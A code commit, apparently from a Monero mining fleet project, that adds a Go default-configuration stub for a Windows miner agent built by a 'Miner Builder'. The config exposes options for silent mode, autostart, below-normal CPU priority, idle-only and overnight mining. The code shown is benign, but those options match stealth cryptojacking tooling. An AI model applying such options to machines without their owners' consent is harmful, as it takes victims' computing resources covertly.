Complete private Monero miner control stack.

Implement Windows agent with RandomX mining and WebSocket fleet reporting, wire dashboard settings into the builder with saved exe paths, and add project README.

agent/config/builtin.go

@@ -0,0 +1,30 @@
+package config
+
+import "time"
+
+// Default stub used for local development builds. The Miner Builder replaces this file.
+func GetBuiltinConfig() BuiltinConfig {
+	return BuiltinConfig{
+		WorkerName:  "dev-worker",
+		ServerURL:   "http://127.0.0.1:8989",
+		Wallet:      "",
+		Threads:     4,
+		CPUPriority: "below_normal",
+		MiningMode:  "always",
+		SilentMode:  false,
+		RunAs:       "user",
+		AutoStart:   false,
+		BuildID:     "dev",
+		BuiltAt:     time.Now(),
+		PoolHost:    "pool.supportxmr.com",
+		PoolPort:    3333,
+		PoolTLS:     true,
+		PoolPass:    "x",
+		MaxCPUUsage: 80,
+		MinFreeRAM:  1024,
+		IdleThresholdPct:    20,
+		IdleDurationMinutes: 5,
+		ScheduleStart:       "21:00",
+		ScheduleEnd:         "06:00",
+	}
+}